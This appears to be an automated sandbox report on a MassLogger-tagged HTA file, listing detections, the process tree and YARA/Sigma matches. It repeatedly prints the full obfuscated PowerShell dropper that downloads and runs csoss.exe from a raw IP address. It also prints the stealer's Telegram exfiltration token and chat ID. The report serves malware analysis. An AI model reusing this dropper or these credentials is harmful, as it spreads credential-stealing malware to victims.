Edit tour

Windows Analysis Report
needagoodplanforsuccesstogetbackbest.hta

Overview

General Information

Sample name:	needagoodplanforsuccesstogetbackbest.hta
Analysis ID:	1640151
MD5:	151ebe266eb058faf3a2a749fc6c918a
SHA1:	6c7e0493b004fb0d48a72a6fd7fac0dd1843daf4
SHA256:	ea7cb3e80587b9322c9985ea5318728a0fb4fa9a25304a1f0a944d39b65bfa20
Tags:	htaMassLoggeruser-abuse_ch
Infos:

Detection

Cobalt Strike, MSIL Logger, MassLogger RAT

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected Cobalt Strike Beacon

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MSIL Logger

Yara detected MassLogger RAT

Yara detected Powershell decode and execute

Yara detected Telegram RAT

.NET source code references suspicious native API functions

Binary is likely a compiled AutoIt script file

Contains functionality to log keystrokes (.Net Source)

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Maps a DLL or memory area into another process

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Suspicious MSHTA Child Process

Suspicious command line found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Compiles C# or VB.Net code

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 6964 cmdline: mshta.exe "C:\Users\user\Desktop\needagoodplanforsuccesstogetbackbest.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

cmd.exe (PID: 5064 cmdline: "C:\Windows\system32\cmd.exe" "/C POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5308 cmdline: POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 6844 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 4932 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC5CF.tmp" "c:\Users\user\AppData\Local\Temp\43swuu3x\CSC1706E7A7601C443B9125CD5A3AB1B1B7.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

csoss.exe (PID: 6740 cmdline: "C:\Users\user\AppData\Roaming\csoss.exe" MD5: 54DE0C8E192E7BC71B6D284FFF136296)

RegSvcs.exe (PID: 5484 cmdline: "C:\Users\user\AppData\Roaming\csoss.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Configuration

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7598843355:AAHehybWWiULdkPS1RLFstdr4_yw-SdkoII", "Telegram Chatid": "7668947425"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xefdf:$a1: get_encryptedPassword 0xf307:$a2: get_encryptedUsername 0xed7a:$a3: get_timePasswordChanged 0xee9b:$a4: get_passwordField 0xeff5:$a5: set_encryptedPassword 0x10951:$a7: get_logins 0x10602:$a8: GetOutlookPasswords 0x103f4:$a9: StartKeylogger 0x108a1:$a10: KeyLoggerEventArgs 0x10451:$a11: KeyLoggerEventArgsEventHandler
00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1df:$a1: get_encryptedPassword 0xf507:$a2: get_encryptedUsername 0xef7a:$a3: get_timePasswordChanged 0xf09b:$a4: get_passwordField 0xf1f5:$a5: set_encryptedPassword 0x10b51:$a7: get_logins 0x10802:$a8: GetOutlookPasswords 0x105f4:$a9: StartKeylogger 0x10aa1:$a10: KeyLoggerEventArgs 0x10651:$a11: KeyLoggerEventArgsEventHandler
00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1418b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13689:$a3: \Google\Chrome\User Data\Default\Login Data 0x13997:$a4: \Orbitum\User Data\Default\Login Data 0x1478f:$a5: \Kometa\User Data\Default\Login Data
00000007.00000002.2509390080.0000000002646000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: csoss.exe PID: 6740	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: csoss.exe PID: 6740	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: csoss.exe PID: 6740	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: csoss.exe PID: 6740	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: csoss.exe PID: 6740	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1805ab:$a1: get_encryptedPassword 0x1808c4:$a2: get_encryptedUsername 0x18035a:$a3: get_timePasswordChanged 0x18047b:$a4: get_passwordField 0x1805c1:$a5: set_encryptedPassword 0x181ec4:$a7: get_logins 0x181b75:$a8: GetOutlookPasswords 0x181967:$a9: StartKeylogger 0x181e14:$a10: KeyLoggerEventArgs 0x1819c4:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 5484	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 5484	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 5484	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: RegSvcs.exe PID: 5484	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 5484	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1c2d1:$a1: get_encryptedPassword 0x1c5ea:$a2: get_encryptedUsername 0x1c080:$a3: get_timePasswordChanged 0x1c1a1:$a4: get_passwordField 0x1c2e7:$a5: set_encryptedPassword 0x1dbea:$a7: get_logins 0x1d89b:$a8: GetOutlookPasswords 0x1d68d:$a9: StartKeylogger 0x1db3a:$a10: KeyLoggerEventArgs 0x1d6ea:$a11: KeyLoggerEventArgsEventHandler
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.csoss.exe.eb0000.1.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.csoss.exe.eb0000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.csoss.exe.eb0000.1.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
6.2.csoss.exe.eb0000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
6.2.csoss.exe.eb0000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3df:$a1: get_encryptedPassword 0xd707:$a2: get_encryptedUsername 0xd17a:$a3: get_timePasswordChanged 0xd29b:$a4: get_passwordField 0xd3f5:$a5: set_encryptedPassword 0xed51:$a7: get_logins 0xea02:$a8: GetOutlookPasswords 0xe7f4:$a9: StartKeylogger 0xeca1:$a10: KeyLoggerEventArgs 0xe851:$a11: KeyLoggerEventArgsEventHandler
6.2.csoss.exe.eb0000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1238b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11889:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b97:$a4: \Orbitum\User Data\Default\Login Data 0x1298f:$a5: \Kometa\User Data\Default\Login Data
6.2.csoss.exe.eb0000.1.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.csoss.exe.eb0000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.csoss.exe.eb0000.1.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
6.2.csoss.exe.eb0000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
6.2.csoss.exe.eb0000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1df:$a1: get_encryptedPassword 0xf507:$a2: get_encryptedUsername 0xef7a:$a3: get_timePasswordChanged 0xf09b:$a4: get_passwordField 0xf1f5:$a5: set_encryptedPassword 0x10b51:$a7: get_logins 0x10802:$a8: GetOutlookPasswords 0x105f4:$a9: StartKeylogger 0x10aa1:$a10: KeyLoggerEventArgs 0x10651:$a11: KeyLoggerEventArgsEventHandler
6.2.csoss.exe.eb0000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1418b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13689:$a3: \Google\Chrome\User Data\Default\Login Data 0x13997:$a4: \Orbitum\User Data\Default\Login Data 0x1478f:$a5: \Kometa\User Data\Default\Login Data
7.2.RegSvcs.exe.520000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
7.2.RegSvcs.exe.520000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.RegSvcs.exe.520000.0.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
7.2.RegSvcs.exe.520000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.RegSvcs.exe.520000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1df:$a1: get_encryptedPassword 0xf507:$a2: get_encryptedUsername 0xef7a:$a3: get_timePasswordChanged 0xf09b:$a4: get_passwordField 0xf1f5:$a5: set_encryptedPassword 0x10b51:$a7: get_logins 0x10802:$a8: GetOutlookPasswords 0x105f4:$a9: StartKeylogger 0x10aa1:$a10: KeyLoggerEventArgs 0x10651:$a11: KeyLoggerEventArgsEventHandler
7.2.RegSvcs.exe.520000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1418b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13689:$a3: \Google\Chrome\User Data\Default\Login Data 0x13997:$a4: \Orbitum\User Data\Default\Login Data 0x1478f:$a5: \Kometa\User Data\Default\Login Data
Click to see the 13 entries

Other

Source	Rule	Description	Author	Strings
amsi32_5308.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/C POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/C POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5308, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline", ProcessId: 6844, ProcessName: csc.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5308, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\csoss[1].exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5308, TargetFilename: C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; 